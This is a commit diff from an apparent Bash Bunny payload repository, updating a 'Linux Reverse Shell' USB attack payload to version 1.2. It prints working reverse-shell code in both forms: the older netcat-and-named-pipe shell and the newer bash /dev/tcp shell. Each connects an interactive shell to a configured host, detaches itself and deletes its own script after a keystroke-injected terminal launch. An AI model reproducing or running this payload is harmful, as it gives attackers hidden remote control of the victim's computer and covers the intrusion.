Updated "Linux Reverse Shell" to v1.2 (#262)

pull/295/head
Wesley 2017-11-22 11:59:18 +13:00 committed by Sebastian Kinne
parent 00cee07ec0
commit a48d9e2a61
3 changed files with 6 additions and 9 deletions

View File

@ -1,7 +1,7 @@
# Linux Reverse Shell for Bash Bunny # Linux Reverse Shell for Bash Bunny
Author: tuzzmaniandevil Author: tuzzmaniandevil --creds: hak5darren
Version: Version 1.1 Version: Version 1.2
## Description ## Description

View File

@ -2,9 +2,6 @@
A="$0" A="$0"
H=$1 H=$1
P=$2 P=$2
rm -rf ~/.a/ /bin/bash -c /bin/bash -i > /dev/tcp/$H/$P 0<&1 2>&1 &
mkdir -p ~/.a/
mknod ~/.a/p p
/bin/sh -c /bin/sh 0<~/.a/p | nc $H $P 1>~/.a/p &
disown $! disown $!
rm -f "$A" rm -f "$A"

View File

@ -2,7 +2,7 @@
# #
# Title: Linux Reverse Shell # Title: Linux Reverse Shell
# Author: tuzzmaniandevil # Author: tuzzmaniandevil
# Version: 1.1 # Version: 1.2
# #
# Runs a script in the background that creates a reverse shell connection to the configured address and then removes itself. # Runs a script in the background that creates a reverse shell connection to the configured address and then removes itself.
# #
@ -23,8 +23,8 @@ GET SWITCH_POSITION
# Set Attack Mode # Set Attack Mode
ATTACKMODE HID STORAGE ATTACKMODE HID STORAGE
# Wait for Storage to mount # Get the switch position
sleep 5 GET SWITCH_POSITION
# Open a terminal # Open a terminal
Q CTRL-ALT t Q CTRL-ALT t